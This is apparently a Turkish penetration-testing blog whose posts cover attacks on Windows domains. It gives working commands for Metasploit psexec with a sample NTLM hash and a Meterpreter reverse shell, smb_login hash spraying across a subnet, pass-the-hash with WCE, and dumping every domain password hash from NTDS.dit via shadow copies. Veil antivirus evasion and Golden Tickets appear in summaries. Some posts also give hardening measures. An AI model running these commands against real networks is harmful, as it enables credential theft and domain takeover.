Günümüzde sistemlere karşı gerçekleştirilen saldırılar artmaktadır. Bunun paralelinde sızma testlerine (Penetration Test) verilen önem de gün geçtikçe artış göstermektedir. Sızma testlerinin adımlarından birisi de Microsoft ortamındaki kullanıcıların (özellikle etki alanı kullanıcılarının) hesap bilgilerinin elde edilmesidir. Son yıllarda bu bilgilerin elde edilmesi için yeni bir yöntem kullanılmaya başlanmıştır. Bu yazı, kullanıcı hesap bilgilerinin yeni bir yöntem ile nasıl ele geçirildiği konusuna değinecektir. Yeni tekniğe geçilmeden önce konu ile ilgili bazı ön bilgiler verilecektir.

Yazının devamı için bakınız:

http://www.siberportal.org/red-team/windows-operating-system-penetration-tests/obtaining-clear-text-password-from-ram-using-wce-tool/
ve
http://www.siberportal.org/red-team/windows-operating-system-penetration-tests/obtaining-clear-text-password-from-ram-using-mimikatz-tool/
ve
http://www.siberportal.org/blue-team/securing-windows-operating-system/working-principle-of-tools-wce-and-mimikatz-that-obtains-clear-text-passwords-on-windows-session/

5 Kasım 2014 Çarşamba

Kali pth-winexe aracı & Veil: Antivirüslere Yakalanmayan Uygulama ile Meterpreter Kabuğu Elde Etme

Kali pth-winexe aracı & Veil: Antivirüslere Yakalanmayan Uygulama ile Meterpreter Kabuğu Elde Etme

Önceki bir yazıda, Veil ile oluşturulan ve antivirüslere yakalanmayan bir zararlı yazılm oluşturularak Kali üzerindeki bir paylaşıma konulmuş ve MSF psexec_command modülü ile bu uygulama kurban Windows 7 makinesinde çağırılmıştı. Böylece uygulama çalışmış ve Kali'ye bir meterpreter bağlantı oluşturulmuştu.

27 Ekim 2014 Pazartesi

Post Exploitation: Golden Ticket ile Etki Alanına Sürekli ve Yetkili Erişimin Sağlanması

Post Exploitation: Golden Ticket ile Etki Alanına Sürekli ve Yetkili Erişimin Sağlanması

Kurum içine yapılan saldırılarda veya sızma testlerinde bir Domain Admin yetkisini elde eden bir saldırgan etki alanındaki (neredeyse) her bilgisayarı ele geçirmiş olur denebilir. Eğer güven (trust) ilişki varsa diğer etki alanları da tehlike altına girebilir. Bunun yanında yönetim kolaylığı olması açısından saldırıya uğrayan etki alanına dahil olan kritik sistemler de tehlikeye girebilir. Bu sebeplerle etki alanı yönetici hesaplarının korunması kurumlar için oldukça önemlidir.

Yazının devamı için bakınız:
http://www.siberportal.org/red-team/microsoft-domain-environment-penetration-tests/golden-ticket-generation-by-using-meterpreter-kiwi-extenion-and-mimikatz-tool/

http://www.siberportal.org/blue-team/securing-microsoft-domain-environment/mitigating-the-vulnerability-about-kerberos-golden-ticket/

5) Kıssada Hisse: Önlemler

Etki alanını kurum için oldukça önemlidir. Bir saldırı olması durumunda etki alanındeki kritik nesnelerin (Domain Controller makineleri, Domain Admins veya Enterprese Admins grubu üyeleri,... gibi) güven altında olması oldukça önemlidir. Etki alanını korumaya yönelik atılacak adımlar için bakınız. Ayrıca, gerçekleşen bir saldırı sonucunda kaybedilecek bazı bilgilerin (krbtgt hesabının NTLM parola özeti gibi) kurum etki alanını sürekli olarak tehlike altında bulunduracağı göz önünde bulundurulmalıdır.

Bu yazıda bahsedilen saldırıdan korunmak için gerçekleştirilebilecek işlemler için bakınız.Özetlemek gerekirse,
  • Etki alanı saldırılara karşı korunmalıdır. Saldırgan etki alanında yönetici hakkına sahip olamamalıdır. Bu amaçla gerekli sıklaştırma adımları gerçekleştirilmelidir.
  • Saldırı gerçekleşmişse, KRBTGT hasabının parolası iki kere sıfırlanmalıdır (resetlenmelidir). Ancak bu durumda manuel olarak başlatılması gereken bazı servislerin başlayamamasına, akıllı kart ile kimlik doğrulayan kullanıcıların yeni bilet talep ederek DC üzerinde yük oluşturmasına,... sebep olabilir. Hatta, bazı durumlarda kullancıların kimlik doğrulayamamasına, bilgisayarların etki alanından düşmesine de sebep olabilir.
  • Çok etkili olmasa da 4769 olay kaydı izlenebilir.

Golden Ticket kullanarak etki alanında uzun süreli yetki sahibi olunması şeklinde özetlenebilecek bu saldırı, 2014 Ocak ayında yayınlanmış olmasına rağmen daha önce kullanılmadığı anlamına gelmemektedir. Bu sebeple, özellikle 2014 yılından itibaren, etki alanına yapılan saldırıların incelenmesi ve DC'ye yetkisiz / uygunsuz erişimlerinin elde edilip edilmediğinin tespit edilmesi, bunun sonucunda da gerekli değişikliklerin yapılması kurum etki alanını korumak için önem arz etmektedir. Özellikle kritik kurumlar için, bu kontrollerin geçmişe yönelik gerçekleştirilmesi ve gerekli müdahalelerde bulunulması gerekmektedir.

Kaynak:
http://blog.gentilkiwi.com/securite/mimikatz/golden-ticket-kerberos
http://rycon.hu/papers/goldenticket.html
https://www.christophertruncer.com/golden-ticket-generation/


15 Ekim 2014 Çarşamba

MSF psexec_command Modülü & Veil: Antivirüslere Yakalanmayan Uygulama ile Meterpreter Kabuğu Elde Etme

MSF psexec_command Modülü & Veil: Antivirüslere Yakalanmayan Uygulama ile Meterpreter Kabuğu Elde Etme

Önceki bir yazıda klasik MSF psexec modülü kullanılarak erişim bilgisi elde edilen kurban makineye meterpreter bağlantısı elde edilmişti. Ancak, bu bağlantı oluşturma sırasında kullanılan kodlar (payload) bir çok antivirüs tarafından yakalanmaktadır. Bu sebeple klasik MSF psexec modülü kullanışlılığını kaybetmiştir. "psexec_command" adlı bir başka MSF modülü ise antivirüslere yakalanmayacak şekilde hazırlanmış olan bir uygulama dosyasını kullanarak meterpreter bağlantısını sağlamaktadır.

Yazının devamı için bakınız:
http://www.siberportal.org/red-team/windows-operating-system-penetration-tests/obtaining-meterpreter-session-by-using-obtained-authentication-informations-via-msf-psexec-command-auxiliary-module/

8 Mart 2014 Cumartesi

Etki Alanı Saldırılarından Korunma Yolları: İmaj Yapılandırması

Etki Alanı Saldırılarından Korunma Yolları: İmaj Yapılandırması

Etki alanı sızma testlerinde gerçekleştirilen adımlardan birisi de yayılma adımıdır. Bir bilgisayardan yerel yöneticilerinin parolaları alındıktan sonra, aynı kullanıcı bilgilerini kullanan diğer bilgisayarlara giriş yapılmaya çalışılır. Bu amaçla aşağıdaki 2 yazı incelenebilir:
http://ertugrulbasaranoglu.blogspot.com.tr/2013/10/ipucu-smblogin-modulu-ile-yaylabilecek.html
http://ertugrulbasaranoglu.blogspot.com.tr/2013/10/ipucu-psexec-modulu-ile-yeni.html
Bu adımlardan gerçekleştirilmesinin önüne geçilmesi için etki alanındaki bir bilgisayarda bir şekilde elde edilen yerel yönetici kullanıcı parola bilgileri kullanılarak  (özet veya açık halinin) diğer bilgisayarlara erişim sağlanamamalıdır. Bu amaçla, kurum içinde kullanılan imajlar uygun şekilde oluşturulmalı ve özelleştirilerek kullanılmalıdır.
İmaj yapılandırılması için, en az aşağıdaki ayarların uygulanması gerekmektedir.
a) İmajlar güncellenmeli ve en güncel hali ile kullanılması sağlanmalıdır. Sıkılaştırma işlemleri için güvenlik şablonları kullanılabilmektedir. Güvenlik şablonları için aşağıda belirtilen kaynaklar tercih edilebilir:
http://www.bilgiguvenligi.gov.tr/kilavuz-dokumanlar/index.phphttps://benchmarks.cisecurity.org/downloads/multiform/http://web.nvd.nist.gov/view/ncp/repository
b) Etki alanına eklenen bir bilgisayar özel bir OU altına yönlendirilmesi sağlanarak (redircmp aracıyla veya hazırlanabilecek betiklerle) bu bilgisayarlar için özel grup ilkeleri kullanılmalıdır. Böylece etki alanına eklenen bir bilgisayarın otomatik olarak sıkılaştırılması da gerçekleştirilebilir. 
c) İmajlar kullanılarak işletim sistemi kurulurken, sadece gerektiği kadar kullanıcı oluşturulması saldırı yüzeyini azaltacaktır. Yerel yönetici haklarına sahip kullanıcılar oluşturulmamalı veya kontrollü bir şekilde oluşturulmalıdır. 
d) Etki alanı saldırılarından korunma için kullanılan en temel yöntemlerden biri de tuzak kullanıcı oluşturmaktır. Bu amaçla, etki alanında kullanılan yerel ilkede üç adım gerçekleştirilebilir.
  • Bilgisayardaki gömülü (built-in) yerel yönetici kullanıcısı (Administrator) devre dışı bırakılarak, adı “Test” veya “Deneme” gibi şüphe çekmeyecek şekilde güncellenir. Parolası uzun ve karmaşık verilebilir. Bu işlem grup ilkelerindeki Preferences özelliği kullanılarak aşağıdaki gibi gerçekleştirilebilir.
Gömülü Yerel Yönetici Kullanıcı Bilgilerinin Güncellenmesi
  • Gerçek yerel yönetici kullanıcısının kimliği güncellendikten sonra, yerel yönetici olarak kullanıcı adı Administrator, tanımı gömülü yerel yönetici tanımı ile aynı olan ("Built-in account for administering the computer/domain") tuzak bir kullanıcı oluşturulur. Tuzak kullanıcı parolası çok uzun ve karmaşık seçilerek parolanın açık halinin elde edilmesi zorlaştırılabilir. Ayrıca bu kullanıcı devre dışı bırakılarak, saldırganın zaman kaybetmesi sağlanabilir.Bu işlem grup ilkelerindeki Preferences özelliği kullanılarak aşağıdaki gibi gerçekleştirilebilir.
Tuzak Yerel Yönetici Kullanıcısının Oluşturulması
Not: Tuzak kullanıcı yukarıdaki gibi önleyici amaçla kullanılabildiği gibi, tespit amaçlı da kullanılabilir. Bu amaçla, tuzak kullanıcı parolası kolay elde edilebilecek şekilde kısa olarak ayarlanır. Daha sonra bu hesap ile bir kez oturum açılarak hesap etkin olarak bırakılır. Bu hesap ile yapılan işlemlerin denetim kayıtları tutularak bu hesaplar ile yapılan işlemlerden anlık olarak haberdar olunması sağlanabilir. Bu yöntem kullanılırken anlık haberleşme sisteminin etkin şekilde çalıştığından emin olunmalıdır.
  • Son adım olarak da, oluşturulan tuzak kullanıcı Users veya Guests gibi bir gruba üye yapılabilir ve bilgisayar üzerindeki tüm hakları alınır.
 
Oluşturulan Tuzak Yerel Yönetici Kullanıcısının Guests Grubuna Üye Yapılması
Not: Tuzak kullanıcı oluşturma oldukça yaygın kullanılan bir yöntemdir. Bu sebeple sızma testi sırasında deneyimli kişilerce veya saldırı anında deneyimli saldırganlarca kullanıcıların SID değerleri kontrol edilerek tespit edilebilir. Ayrıca tuzak kullanıcı oluşturulurken Preferences üzerinden parola atanması işlemi çok güvenilir bir yöntem değildir. Konu ile ilgili bir sunum için bakınız. Bu sebeple, yerel yönetici parolalarının yönetimi için özelleşmiş uygulamaların veya betiklerin kullanılması tavsiye edilmektedir. 
- Bazı özel uygulamalar ile hem parola değişiklikleri otomatik, birbirinden farklı, rastgele ve periyodik olarak sağlanabilmekte; hem de gerektiği süre boyunca bu parolaların hangi kullanıcı tarafından, hangi amaç için kullanıldığı takip edilebilmektedir. Bu uygulamaların kullanılması yerel kullanıcıların yönetimini kolaylaştıracaktır. 
- Yerel yöneticilerin parolasının verilmesi betikler kullanılarak da gerçekleştirilebilir. Bu amaçla, bilgisayar adının (hostname) özelleştirilerek kullanılması yerel yönetici parolalarının farklılaşmasını sağlamaktadır. Yerel yöneticilerin ve BIOS şifrelerinin otomatik / birbirinden farklı olarak ayarlanması ve merkezi olarak yönetilmesi konusu ile ilgili bir yazı Bilgi Güvenliği Kapısı'nda yayınlanmıştır.

3 Ekim 2013 Perşembe

İpucu: psexec Modülü ile Yeni Makinelerde Oturumun Açması

psexec  Modülü ile Yeni Makinelerde Oturumun Açması

Amaç
Organizasyondaki - yerel kullanıcısı ve şifresi / şifre özeti bilinen - diğer makinelerde oturum açılacaktır.

Yöntem
Bir önceki yazıda smb_login modülü ile girilebilecek bilgisayarlar tespit edilmişti. Bu adımda ise psexec modülü ile giriş denemesi yapılacaktır.
psexec modülü incelenir:
search psexec
use exploit/windows/smb/psexec
show options
psexec modülünün incelenmesi

Seçilen modül hakkında ayrıntılı bilgi elde edinilebilir:
info exploit/windows/smb/psexec
psexec modülü hakkında ayrıntılı bilginin listelenmesi

Seçenekler uygun şekilde ayarlanır:
set RHOST 192.168.172.243
set SMBPass aad3b435b51404eeaad3b435b51404ee:da8aef7a322d9ecf8d1d7e220f837176
set SMBUser administrator
set PAYLOAD windows/meterpreter/reverse_tcp
show options
psexec modülünün düzenlenmesi

Not: Domainde ilk olarak girdiğimiz bilgisayarda, "net share" komutu çalıştırıldığında “ADMIN$” paylaşımının açık olduğunu gördüğümüz için, SHARE seçeneğini aynen bırakabiliriz.

Modülü çalıştırmak için ve elde edilen bağlantıları listelemek için aşağıdaki komutlar kullanılır :
exploit
sessions -l
psexec modülü ile exploit işleminin gerçekleştirilmesi

Not: PsExec bir çok AV tarafından tespit edilebilmektedir. Bu sebeple, bağlantıda belirtildiği gibi WCE aracı kullanılarak da hedef sistemin dosya sistemine erişilebilir, bağlantıdaki gibi WCE & MS psexec aracı kullanılarak Windows ve Meterpreter komut satırları elde edilebilir, bağlantıdaki gibi MSF psexec_command modülü kullanılarak Meterpreter komut satırı elde edilebilir, bağlantıdaki gibi Kali pth-winexe aracı kullanılarak Windows ve Meterpreter komut satırları elde edilebilir.

Not: MSF PsExec modülü çalıştırıldığında gerçekleşebilecek hatalar için bakınız.

Önlem
  • Önceki adımlarda belirtilen önlemler alınmalıdır.


2 Ekim 2013 Çarşamba

İpucu: smb_login Modülü ile Yayılabilecek Makinelerin Belirlenmesi


smb_login Modülü ile Yayılabilecek Makinelerin Belirlenmesi

Amaç
  • Port taraması ile SMB (Server Message Block protokolü) dosya paylaşımını sağlayan TCP 445. portu açık olan makineler bulunacaktır.
  • Elde edilen bir yerel kullanıcı hesap bilgilerinin, organizasyondaki diğer makinelerde de yetkili olup olmadığı belirlenecektir.

Yöntem
Önceki adım ile elimizde sadece bir makinede yerel yönetici hesabı dahil olmak üzere yerel kullanıcı hesaplarına ait şifrenin özeti bulunmaktadır:

Hedef makinedeki kullanıcıların şifre özetlerinin listelenmesi

Bu özet halindeki şifreyi ve Administrator (yerel yönetici) kullanıcısı kullanarak, diğer makinelere de girilmeye ve böylece organizasyondaki diğer makinelere yayılım gerçekleşecektir. Yayılım işlemi; port taraması yapıldıktan sonra veya direk olarak zafiyetle ilgili modül kullanılarak gerçekleştirilebilir.
SMB dosya paylaşım portu (TCP/445) açık olan makinelerin bulunması nmap komutu ile (veya Zenmap kullanarak) gerçekleştirilebilir:
nmap –Pn –sT –p 445 192.168.172.0/24 --open
nmap komutu ile 445. portu açık olan makinelerin tespit edilmesi

Büyük bir ağda çok uzun bir sonuç gelebileceğinden sadece IP’lerin alınmasını isteyebiliriz. Bunun için düzenli ifadeler (regex) kullanılabilir:
nmap –Pn –sT –p 445 192.168.172.0/24 --open | grep -oE '.*((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])'
veya
nmap –Pn –sT –p 445 192.168.172.0/24 --open | grep –oE '[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}'
veya
nmap –Pn –sT –p 445 192.168.172.0/24 --open | grep –oE ‘[0-9]{1,3}[\.]'
nmap komutu ile 445. portu açık olan makinelerin listelenmesi

SMB dosya paylaşımı açık olan IP'ler bulunduktan sonra sadece bu makinelere sızılmaya çalışılabildiği gibi, tüm ağdaki makineler için de sızma işlemi denemesi yapılabilir.
Sızma işlemini deneyeceğimiz makinelerde, hashdump ile şifresinin özetini elde ettiğimiz yerel yönetici hesabı ile aynı şifreyi kullanan kullanıcılar araştırılır:
search smb_login
use auxiliary/scanner/smb/smb_login
show options
smb_login modülünün incelenmesi

Seçenekler uygun şekilde ayarlanır:
set BLANK_PASSWORDS false
set RHOST 192.168.172.0/24
set SMBPASS aad3b435b51404eeaad3b435b51404ee:da8aef7a322d9ecf8d1d7e220f837176
set SMBUSER administrator
set THREADS 15
set USER_AS_PASS false
smb_login modülünün düzenlenmesi

Exploit işlemi gerçekleştirilir:
exploit
SUCCESSFUL LOGIN sonucunu dönenler "administrator" kullanıcısına ait şifrenin özeti, elimizdeki özet değer ile aynı olan makinelerdir:
smb_login kontrolünde başarılı dönen sonuç örneği

Not: FAILED LOGIN sonucunu dönenler ise başarısız exploit denemeleridir:
smb_login kontrolünde başarısız dönen sonuç örneği

Not: smb_login modülü yerine hedef odaklı olarak smb_enumusers_domain modülü de kullanılabilir. Bu modülle ilgili ayrıntılı bilgi için bakınız:
http://ertugrulbasaranoglu.blogspot.com.tr/2013/11/ipucu-smbenumusersdomain-modulu-ile.html

Önlem

  • Ağ üzerinde kurallar tanımlayarak; belirlenen IP’lere, belirlenen portlardan kontrollü bir şekilde izin verilmelidir.
  • “administrator” gibi varsayılan yerel yönetici hesaplarının isminin değiştirilmelidir. Böylece yapılacak birçok saldırıda yerel yönetici hesabının isminin kolayca ve otomatik olarak bulunmasını zorlaştıracaktır.
  • Organizasyondaki makinelerde bulunan yerel kullanıcıların şifreleri farklı ayarlanmalıdır.
  • Yerel yönetici hesaplarının şifreleri,  şifre kırma saldırılarına karşı korumak amacıyla karmaşık seçilmelidir.
  • Kullanılmayan ve ihtiyaç duyulmayan yerel yönetici hesapları kaldırılmalı veya devre dışı bırakılmalıdır.


10 Eylül 2013 Salı

İpucu: PsExec Yerine WCE ile Bilgisayara Sızma

İpucu: PsExec Yerine WCE ile Bilgisayara Sızma

Bazı durumlarda sadece elimizde kullanıcı özetleri (özellikle yerel hesaplar için) bulunabilmekte bu özetler kırılamamakta ve parolann açık hali elde edilememektedir.örneğin yerel yönetici parola özetini bir bilgisayardan alıp diğer bilgisayarlarda da ortak kullanıldığı tespit edilebilmekte (smb_login, smb_enumusers_domain vs ile) ancak diğer bilgisayarlara erişim sağlanamamaktadır. Örneğin psexec (Sysinternals, msfconsole, metasploit vs) çalışamamakta; "net use", RDP (mstsc) ise parolanın açık halini istemektedir. Bu gibi durumlarda WCE aracı "-s" parametresi ile kullanılabilir.

Senaryo:
Saldırgan tarafından ele geçirilen bir bilgisayarın gömülü yerel kullanıcı bilgileri aşağıdaki gibidir:

Kurban kullanıcısına ait olan bir bilgisayarın gömülü yerel kullanıcı bilgileri aşağıdaki gibidir:

Saldırgan "net use" komutu ile kurban makinesine ortak kullanılan yerel yönetici kullanıcısının parola özeti ile bağlanamıyor:

Saldırgan Sysinternals psexec aracı ile kurban makinesine ortak kullanılan yerel yönetici kullanıcısının parola özeti ile bağlanamıyor:

Not: Saldırgan Sysinternals psexec aracı ile kurban makinesine ortak kullanılan yerel yönetici kullanıcısının parolası (Deneme.123?) ile bağlanabiliyor:

Bu gibi durumlarda WCE aracı kullanılabilir. Normalde saldırganın parola ve parola özet bilgisi aşağıdaki gibidir:

Bu bilgiler "wce -s" komutu ile değiştirilirse, kurbanın makinesine bağlantı kurulumu parolanın açık haline gerek kalmadan "net use" ile sağlanabilir.


Bu aşamadan sonra, hedef sisteme MS psexec aracı ile komut satırı bağlantısı da kurulabilir. Veya Services / Registry Editor konsollarıyla da erişilebilir.

Not: Bazı durumlarda bu işlem çalışmayabilmektedir. Çalışıp çalışmadığının kontrolü için parola özetinin ilk hali ve RAM bilgisi değiştirildikten sonraki hali "wce" komutunun çalıştırılmasıyla kontrol edilebilir. 

Not: Bir kaç deneme yapılmasına rağmen "net" aracı ile bağlantı başarılı bir şekilde gerçekleşemeyip, parolanın açık hali isteniyorsa saldırgana ait Windows bilgisayar yeniden başlatılabilir.

Not: NTLM değişimi gerçekleşmesine ve bilgisayarın yeniden başlatılmasına rağmen, parolanın açık hali istenmeye devam ediyorsa, "net" aracına etki alanı değişik formatlarda verilebilir. Örneğin; "/user:192.168.100.110\Administrator", "/user:WORKGROUP\Administrator", "/user:PC_Kurban\Administrator",... gibi.

Not: Eğer RAM üzerindeki değer değişmemişsse (hala "Saldırgan" kullanıcısının parolası gözüküyorsa), kurban bilgisayarına sızmak için kullanılan kullanıcı adı (Administrator) ile aynı isimdeki bir kullanıcı adı ile saldırgan bilgisayarında oturum açmak gerekebilir. Yani, yukarıdaki ekran görüntüsü saldırgana ait sanal bilgisayarda Saldırgan kullanıcı adı ile gerçekleştirilmişti. Elde edilen kurban bilgisayarındaki kullanıcı adı Administrator olduğu için, saldırgan bilgisayarında da Administrator adındaki kullanıcı ile oturum açmak gerekebilir. 


26 Temmuz 2013 Cuma

Post Exploitation: Etki Alanındaki Bütün Kullanıcıların Parola Özetlerinin Elde Edilmesi

Post Exploitation: Etki Alanındaki Bütün Kullanıcıların Parola Özetlerinin Elde Edilmesi


Sızma testi sırasında DC ele geçirildikten sonra gerçekleştirilecek adımlardan birisi etki alanındaki tüm kullanıcıların parolasının elde edilmesi gerekebilir. Bu amaçla, MSF smart_hashdump modülü kullanılabilir. Ancak DC gibi kritik bir makineye MSF ile bağlanmak istenmeyen şeylere sebep olabilir. Bu sebeple, sisteme daha az zarar verme ihtimali olan yöntemler kullanılması gerekebilir.

Bu yazıda DC'ye yetkili kullanıcı hakkı ile erişim elde ettikten sonra, NTDS.dit ve SYSTEM dosyaları elde edilecek ve daha sonra da kullanıcı parolalarının özeti elde edilecektir.

1) NTDS.dit ve SYSTEM Dosyalarının Elde Edilmesi

Etki alanı nesnelerine ait bilgiler temel olarak NTDS.dit dosyasında bulunmaktadır diyebiliriz. Bu dosya da SYSTEM dosyasındaki bir anahtarla (SYSKEY) şifrelenmiştir. Bu 2 dosya elde edilirse, etki alanındaki kullanıcıların parola özetleri elde edilebilir. Ancak bu 2 dosyaya erişim işletim sistemi tarafından engellenmiştir. Bu amaçla, Volume Shadow Copy kullanılabilir.

Shadow kopya oluşturmak için, öncelikle, işletim sisteminin kurulu olduğu ve NTDS.dit dosyasının tutulduğu disk'te "Configure Shadow Copies..." seçimi yapılır.


Sonrasında seçilen alan Shadow kopya oluşturma özelliği aktifleştirilir.


Uyarı mesajı gelirse, bu mesaj onaylanır.


Böylece ilk kopya oluşturulmuştur:


Shadow kopya oluşturma işlemi "Disable" butonu ile iptal edilebilir veya Setting butonu ile konfigüre edilebilir.


Oluşan Shadow kopya içerisinden NTDS.dit ve SYSTEM dosyalarını elde etmek için öncelikle tüm shadow kopyalar listelenir:
vssadmin.exe list shadows


Bu örnekte tek bir kere Shadow kopyası oluşturulduğu için, bir adet Shadow kopya listenmiştir. Bu dizin "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1" olarak belirtilmiştir. En sondaki ID değeri her Shadow için bir artacaktır.

Bu Shadow kopya içerisindeki NTDS.dit ve SYSTEM dosyaları herhangi bir yere (C:\Users\Administrators\Desktop gibi) kaydedilebilir.
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit C:\Users\Administrator\Desktop
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\config\SYSTEM C:\Users\Administrator\Desktop


Elde edilen bu dosyalar Kali bir makinenin üzerine alınabilir. Ancak etki alanında çok fazla nesnenin olması bu dosyaların boyutunun artmasına sebep olacaktır. Bu durum da ağ üzerinde anormallik tespiti yapan ürünlerin (ADS gibi) alarm üretmesine sebep verebilir.



Not: DC'nin arayüzüne erişmeden, komut satırını kullanılarak da Shadow kopya elde edilebilir:
vssadmin create shadow /for=c:


Not: SYSTEM dosyası komut satırından ele geçirmek için Shadow kopyası oluşturmaya gerek yoktur. Aşağıdaki komutun çalışması yeterlidir:
reg SAVE HKLM/SYSTEM C:\SYSTEM_Dosyasi


Bu dosyalar Kali bilgisayarın root masaüstüne kaydedilir.

2) Elde Edilen Dosyalardan Etki Alanındaki Kullanıcıların Parola Özetlerinin Elde Edilmesi


Bu başlıkta, kopyalanan NTDS.dit ve SYSTEM dosyaları kullanılarak, etki alanındaki kullanıcı parolaları elde edilecektir. Bu amaçla önce NTDS.dit veritabanından ilgili tablolar çekilecek, daha sonra da bu tablolardan istenen hesap bilgileri çekilecektir. Bu işlem için Google Code üzerindeki "libesedb" aracı kullanılabilir.


Harici linke erişildiğinde araç görülmektedir:


Araç Kali üzerine indirilir.
wget https://255adcba056b7d59fd55a94f0ea02de0cf110bfb.googledrive.com/host/0B3fBvzttpiiSN082cmxsbHB0anc/libesedb-alpha-20120102.tar.gz --no-check-certificate



Sıkıştırılmış dosya çıkarılır.
gunzip libesedb-alpha-20120102.tar.gz
tar -xvf libesedb-alpha-20120102.tar


Konfigürasyon işlemi gerçekleştirilir.
ls
cd libesedb-20120102/
ls
ls -la configure
chmod +x configure
ls -la configure
./configure && make


Sonrasında da esedbtools/ klasörüne girilerek /root/Desktop dizinine koyulan ntds.dit dosyasındaki tablolar dışarıya aktarılır.
cd esedbtools/
ls
./esedbexport /root/Desktop/ntds.dit


Dışa aktarım sonrası durum aşağıdaki gibidir:
ls
cd ntds.dit.export/
ls


Daha sonra dışa aktarılan tabloları kullanarak etki alanındaki kullanıcıların parolalarını elde etmek için NTDSXTRACT aracının ana sayfasına girilir.


Aracın 1.0 sürümü indirilir
cd /root/
wget http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_0.zip
ls
unzip ntdsxtract_v1_0.zip


Amaç, etki alanı kullanıcılarının parola özetini almak olduğu için dsusers.py betiği kullanılacaktır. Bu betik parametre olarak NTDS.dit içerisinden çıkartılmış olan veri tablosunu ve link tablosunu almakta, ayrıca SYSTEM hive dosyasını da kullanmaktadır.
ls
cd NTDSXtract\ 1.0/
ls
python ./dsusers.py /root/libesedb-20120102/esedbtools/ntds.dit.export/datatable.3 /root/libesedb-20120102/esedbtools/ntds.dit.export/link_table.5 --passwordhashes /root/Desktop/SYSTEM


Böylece etki alanındaki kullanıcıların parola özetleri bu şekilde elde edilmiştir.